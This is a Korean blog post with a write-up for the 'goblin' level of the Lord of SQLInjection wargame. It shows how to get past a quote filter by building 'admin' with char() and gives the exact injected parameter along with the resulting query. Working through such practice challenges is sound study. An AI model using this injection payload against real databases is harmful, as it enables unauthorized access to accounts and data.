티스토리 뷰
쿼리문을 전송했을때, 반환되는 레코드가 존재하면서, 그 레코드의 'id'라는 column의 값이 'admin'이어야 해결되는 문제이다.
preg_match()라는 함수를 이용해서, 'prob', '_', '.', '()', ''', '"', '`' 에 필터링을 해놓았다.(패턴 구분자 뒤의 i는 필터링시 대소문자를 구별하지 않게함)
필터링으로 인해 '를 이용하지 못하게 되었지만 char()함수를 이용하면 이를 우회할 수 있다.
admin을 아스키 코드로 인코딩 하면 97 100 109 105 110 이므로
char(97,100,109,105,110) = 'admin' 이다.
따라서, ?no=3 or id=char(97,100,109,105,110)을 입력한다면(no=3대신에 no=1만 아니면 어떤 값을 넣어주던 상관없다.)
쿼리문 = SELECT id FROM prob_goblin WHERE id='guest' and no=3 or id=char(97,100,109,105,110)
이 된다.
id = 'guest' and no = 3 -> false
or
id= char(97,100,109,105,110) -> true
이므로, id='admin' 이라는 값을 가진 레코드가 반환되게 된다.
클리어.
주의할점은 id='guest'인 레코드의 no=1이므로,
?no=1 or id=char(97,100,109,105,110)
를 입력하면,
id = 'guest' and no = 1 -> True 이므로
or뒤에 존재하는 id= char(97,100,109,105,110) 라는 조건은 고려하지 않게된다.
따라서, id='guest'(당연히 no= 1)인 레코드를 반환하게 되어 문제가 클리어되지 않는다.(Hello guest 까지만 뜬다.)
'hacking > LOS' 카테고리의 다른 글
<LOS> - 6번(wolfman) (0) | 2018.04.06 |
---|---|
<LOS> - 5번(wolfman) (0) | 2018.04.06 |
<LOS> - 4번(orc) (0) | 2018.04.06 |
<LOS> - 2번(cobolt) (0) | 2018.03.22 |
<LOS> - 1번(gremlin) (0) | 2018.03.18 |